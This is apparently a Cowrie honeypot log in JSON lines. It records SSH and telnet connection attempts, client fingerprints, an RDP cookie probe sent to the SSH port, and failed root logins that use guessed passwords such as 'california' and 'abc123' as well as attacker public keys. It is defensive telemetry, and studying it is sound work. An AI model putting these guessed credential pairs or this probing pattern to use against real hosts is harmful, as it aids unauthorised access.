{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:26.445025Z","src_ip":"80.66.85.226","session":"a8e0ad03a3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"california","message":"login attempt [root/california] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:26.732609Z","src_ip":"80.66.85.226","session":"a8e0ad03a3fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:27.826380Z","src_ip":"80.66.85.226","session":"a8e0ad03a3fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42772,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae84ca08aa5f","protocol":"telnet","message":"New connection: 192.119.13.58:42772 (10.17.0.5:23) [session: ae84ca08aa5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:31.461851Z"}
{"eventid":"cowrie.session.closed","duration":37.094422340393066,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:33.235350Z","src_ip":"192.119.13.58","session":"30c1511c2ead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.05681300163269,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:34.447490Z","src_ip":"192.119.13.58","session":"779aa38fc921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43892,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd72f6425a8","protocol":"ssh","message":"New connection: 80.94.92.184:43892 (10.17.0.5:22) [session: 7fd72f6425a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:36.393009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:36.439308Z","src_ip":"80.94.92.184","session":"7fd72f6425a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:36.569464Z","src_ip":"80.94.92.184","session":"7fd72f6425a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:37.295258Z","src_ip":"80.94.92.184","session":"7fd72f6425a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.12540078163147,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:37.587115Z","src_ip":"192.119.13.58","session":"ae84ca08aa5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:38.404555Z","src_ip":"80.94.92.184","session":"7fd72f6425a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.99563241004944,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:39.386837Z","src_ip":"192.119.13.58","session":"9eb509f1535e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90273475646973,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:40.703111Z","src_ip":"192.119.13.58","session":"8047f2d5658e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56632,"dst_ip":"10.17.0.5","dst_port":23,"session":"29bfc318c568","protocol":"telnet","message":"New connection: 192.119.13.58:56632 (10.17.0.5:23) [session: 29bfc318c568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:44.207379Z"}
{"eventid":"cowrie.session.closed","duration":0.0042417049407958984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:44.211507Z","src_ip":"192.119.13.58","session":"29bfc318c568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60326,"dst_ip":"10.17.0.5","dst_port":23,"session":"4526211ba02a","protocol":"telnet","message":"New connection: 192.119.13.58:60326 (10.17.0.5:23) [session: 4526211ba02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:45.353253Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"616e27e19ef8","protocol":"telnet","message":"New connection: 192.119.13.58:41430 (10.17.0.5:23) [session: 616e27e19ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:48.055312Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50950,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe19829fc3c","protocol":"telnet","message":"New connection: 192.119.13.58:50950 (10.17.0.5:23) [session: 1fe19829fc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:50.950773Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53720,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f669e7d556","protocol":"telnet","message":"New connection: 192.119.13.58:53720 (10.17.0.5:23) [session: f9f669e7d556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:51.765391Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64145,"dst_ip":"10.17.0.5","dst_port":22,"session":"6416333904e1","protocol":"ssh","message":"New connection: 152.42.212.128:64145 (10.17.0.5:22) [session: 6416333904e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:52.523258Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:52.528471Z","src_ip":"152.42.212.128","session":"6416333904e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:52.532222Z","src_ip":"152.42.212.128","session":"6416333904e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58396,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3a0dbd353e","protocol":"telnet","message":"New connection: 192.119.13.58:58396 (10.17.0.5:23) [session: 7d3a0dbd353e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:53.205799Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.152.236","src_port":56406,"dst_ip":"10.17.0.5","dst_port":22,"session":"52711f344794","protocol":"ssh","message":"New connection: 96.127.152.236:56406 (10.17.0.5:22) [session: 52711f344794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.465198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.471176Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.499965Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:eb:b6:01:34:5a:80:85:c9:5e:2b:7d:bf:2c:11:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCR3tWUabALRMvAhPc6Le5bX4bBKlVt175UQw1feFgAPB4UUifVlAoXDIeX9paYA++T5fCM1DFiWB23c1EO4KeTEQBBiJhlq3zDlOBUydjISOuAfxHyC+zk/NtcabXrKGzxUABXAEfyoIkzBESbHNsa+uu5vk9YuIacrZqiRKiz2lceW62PH3AD/bV8s7Tn2ecXwS7DqJN/WxXoi0cEfA8MYoOWquuH7kKM6D1ZryScDAhikFcYD3ZMfHtLu+/gj0ZBV6XHV0IdiFaBFYl/J9TjQABfLxSftZCGnhLO8FQdRjtZAagN1ZSRs34xXaNIWDpi+0t0OFqZYeXKYprvTWpW4oifak11nn+PyUoRzi5TheYem3FPRx77NdKb1jV8ibaWiNJk/qezFTX8E3O9x6UAqh0Z49pKvY8M0mxsi+1NUSYOJuDP24Np3OXiaR/CvL+4vhwT4tQBkwmLpshHyFBXgHxsXmt9WOK5kcRLFqE+KOgiU09vI3S0LmwrkWisZyM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:eb:b6:01:34:5a:80:85:c9:5e:2b:7d:bf:2c:11:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.621968Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:eb:b6:01:34:5a:80:85:c9:5e:2b:7d:bf:2c:11:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCR3tWUabALRMvAhPc6Le5bX4bBKlVt175UQw1feFgAPB4UUifVlAoXDIeX9paYA++T5fCM1DFiWB23c1EO4KeTEQBBiJhlq3zDlOBUydjISOuAfxHyC+zk/NtcabXrKGzxUABXAEfyoIkzBESbHNsa+uu5vk9YuIacrZqiRKiz2lceW62PH3AD/bV8s7Tn2ecXwS7DqJN/WxXoi0cEfA8MYoOWquuH7kKM6D1ZryScDAhikFcYD3ZMfHtLu+/gj0ZBV6XHV0IdiFaBFYl/J9TjQABfLxSftZCGnhLO8FQdRjtZAagN1ZSRs34xXaNIWDpi+0t0OFqZYeXKYprvTWpW4oifak11nn+PyUoRzi5TheYem3FPRx77NdKb1jV8ibaWiNJk/qezFTX8E3O9x6UAqh0Z49pKvY8M0mxsi+1NUSYOJuDP24Np3OXiaR/CvL+4vhwT4tQBkwmLpshHyFBXgHxsXmt9WOK5kcRLFqE+KOgiU09vI3S0LmwrkWisZyM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.626752Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:93:d1:34:f7:c7:5c:01:3b:f7:bb:c3:ef:81:db:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvFiWrWytyMadTuVEuhXmndIoXG6IeSmgTo1vw3I0H47M9C0qzIpH+N3G4NR+Gb05zuc36QLBRiDmDQy1C8TEA86G66CKmuvSgr+9Tcd/nZOvhGHtjj56u55uvZXM7rz7K5tNN3ED9N/yBVhFpkVai7Eeacs/B8hB//MWx9f2XOARhS3WpG3tXfbxwD97Eg6AraxGsghqMglfpBbM/Zdz2PXhxYCg/cfvsqA68AqrnZKhw7C96nEZw5RcHqH2YTPoVLwwrP10JThOSmNOfyF4+XXS4sUYEcnSsF+YlW9N800k6PmK2wyIxZ4SFxdtIKbNp7jvX5kwF+GpFHv3f7N9D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:93:d1:34:f7:c7:5c:01:3b:f7:bb:c3:ef:81:db:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.657542Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:93:d1:34:f7:c7:5c:01:3b:f7:bb:c3:ef:81:db:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvFiWrWytyMadTuVEuhXmndIoXG6IeSmgTo1vw3I0H47M9C0qzIpH+N3G4NR+Gb05zuc36QLBRiDmDQy1C8TEA86G66CKmuvSgr+9Tcd/nZOvhGHtjj56u55uvZXM7rz7K5tNN3ED9N/yBVhFpkVai7Eeacs/B8hB//MWx9f2XOARhS3WpG3tXfbxwD97Eg6AraxGsghqMglfpBbM/Zdz2PXhxYCg/cfvsqA68AqrnZKhw7C96nEZw5RcHqH2YTPoVLwwrP10JThOSmNOfyF4+XXS4sUYEcnSsF+YlW9N800k6PmK2wyIxZ4SFxdtIKbNp7jvX5kwF+GpFHv3f7N9D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.660901Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:42:77:45:31:2b:1a:fa:1c:08:83:24:03:95:e6:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH3Kj6hcVfE1OX/7Wl3HWtPqvu/kjVFIWUJP8ztYWl4o","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b1:42:77:45:31:2b:1a:fa:1c:08:83:24:03:95:e6:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.691257Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:42:77:45:31:2b:1a:fa:1c:08:83:24:03:95:e6:e9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH3Kj6hcVfE1OX/7Wl3HWtPqvu/kjVFIWUJP8ztYWl4o","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.695360Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:3b:32:90:6e:64:5b:41:d7:06:e3:09:50:b4:84:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsZDMpxtBqq8JVkpOZtd7nz10Qh8AWkR2icIn8KjgUmjGbEhp+GqiRAFbHFko62k49QE2PBz9eaCbbycA/G40kI4q7a+ugEFUNw1Q2GNR492+3EJm3F0MRNaDJ79NdPq3cSc1M/XpwNAy6/7kGiZ0d1N0yve70BRArCsqnDr+R7t21aPKRKel8xkNuif82LucbfWaHNiWQjXWrBBFy+Ej6Yh5fIJh+Ftmgxn8DFJd3t0w8WC9GvIGhVxLFGp+z3g1N3/782VApRS9WDRjXCS4Kf7iDuVSkkrKJjsJCXtHxndLhHGKIhJDdfDvCLahcSWyAEsd7xc2BXRomily8N61Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:3b:32:90:6e:64:5b:41:d7:06:e3:09:50:b4:84:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.729102Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:3b:32:90:6e:64:5b:41:d7:06:e3:09:50:b4:84:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsZDMpxtBqq8JVkpOZtd7nz10Qh8AWkR2icIn8KjgUmjGbEhp+GqiRAFbHFko62k49QE2PBz9eaCbbycA/G40kI4q7a+ugEFUNw1Q2GNR492+3EJm3F0MRNaDJ79NdPq3cSc1M/XpwNAy6/7kGiZ0d1N0yve70BRArCsqnDr+R7t21aPKRKel8xkNuif82LucbfWaHNiWQjXWrBBFy+Ej6Yh5fIJh+Ftmgxn8DFJd3t0w8WC9GvIGhVxLFGp+z3g1N3/782VApRS9WDRjXCS4Kf7iDuVSkkrKJjsJCXtHxndLhHGKIhJDdfDvCLahcSWyAEsd7xc2BXRomily8N61Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.733218Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:60:0d:b4:b8:3d:4b:af:05:90:85:c0:88:8e:5a:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCizHVcdtTOWLqKVJq9sjAmEaQpwg/LcpOAZI53Ghyp50rDYCeksOj/wyPtBP0cetpzImejupD6jNafc/QQJDfnRQxVjQCeCmh3og1wNxOpVelK+YE2ZtUdRui4OcPIWc9snhkPAfyIaWdr5O+b4/EX03u89gro4PUe8AXwFkCu1hZuN69GVAl5Y2TY/KuCtTSiQ1gN4GI9n+ZGv6AeiEMotSnhItgaYsNn/EJ8vYPIEQjyO0KeEyswQyAc20tAEjeHEPAxWe4GoV4BCtRMZANnRnTuRJ67E2x2b33+B6ft5sgf/obPevQjkkyYFrlg0QhQNqgWi6wRI49DkHcqdAFI5SZhgiHNpdySeQ91DKQ9X7iShKQ5Lzp3rLFnVkdNV9Hnfe12qTlUBnaiXdObJcE9C95Yx3w0r+Dda1f2Y/4rK56BPJvjw3blDPc3zFLHXQfEjeJMk3LBUYKDBDBblKV1Dbv4YGc2S8Wv0sUvAOFwxYIY4MbOnXZyulLU9vJFpKdoa4zX4+KtguQvmwykuqvfr7KXaO2R/Yh9XU5+2ntDHheinzmizv69lIl/ppNcoblmDcDobVqUP9AJ7l0El6WCXENA4No5X41BpzqQ7OYfrioR+PqqCLTg3l2tgu0oBMD9EZ0BrRM1tSMmpr7u2TxJxO6AdWsE8lp5g+rTh4X4ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:60:0d:b4:b8:3d:4b:af:05:90:85:c0:88:8e:5a:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.766338Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:60:0d:b4:b8:3d:4b:af:05:90:85:c0:88:8e:5a:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCizHVcdtTOWLqKVJq9sjAmEaQpwg/LcpOAZI53Ghyp50rDYCeksOj/wyPtBP0cetpzImejupD6jNafc/QQJDfnRQxVjQCeCmh3og1wNxOpVelK+YE2ZtUdRui4OcPIWc9snhkPAfyIaWdr5O+b4/EX03u89gro4PUe8AXwFkCu1hZuN69GVAl5Y2TY/KuCtTSiQ1gN4GI9n+ZGv6AeiEMotSnhItgaYsNn/EJ8vYPIEQjyO0KeEyswQyAc20tAEjeHEPAxWe4GoV4BCtRMZANnRnTuRJ67E2x2b33+B6ft5sgf/obPevQjkkyYFrlg0QhQNqgWi6wRI49DkHcqdAFI5SZhgiHNpdySeQ91DKQ9X7iShKQ5Lzp3rLFnVkdNV9Hnfe12qTlUBnaiXdObJcE9C95Yx3w0r+Dda1f2Y/4rK56BPJvjw3blDPc3zFLHXQfEjeJMk3LBUYKDBDBblKV1Dbv4YGc2S8Wv0sUvAOFwxYIY4MbOnXZyulLU9vJFpKdoa4zX4+KtguQvmwykuqvfr7KXaO2R/Yh9XU5+2ntDHheinzmizv69lIl/ppNcoblmDcDobVqUP9AJ7l0El6WCXENA4No5X41BpzqQ7OYfrioR+PqqCLTg3l2tgu0oBMD9EZ0BrRM1tSMmpr7u2TxJxO6AdWsE8lp5g+rTh4X4ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.770723Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:54.805305Z","src_ip":"96.127.152.236","session":"52711f344794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38148,"dst_ip":"10.17.0.5","dst_port":23,"session":"672f73989b58","protocol":"telnet","message":"New connection: 192.119.13.58:38148 (10.17.0.5:23) [session: 672f73989b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:55.471195Z"}
{"eventid":"cowrie.session.closed","duration":37.24817681312561,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:56.342673Z","src_ip":"192.119.13.58","session":"245c7ebe592e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.84998559951782,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:46:58.742521Z","src_ip":"192.119.13.58","session":"d3587e847216","protocol":"telnet"}
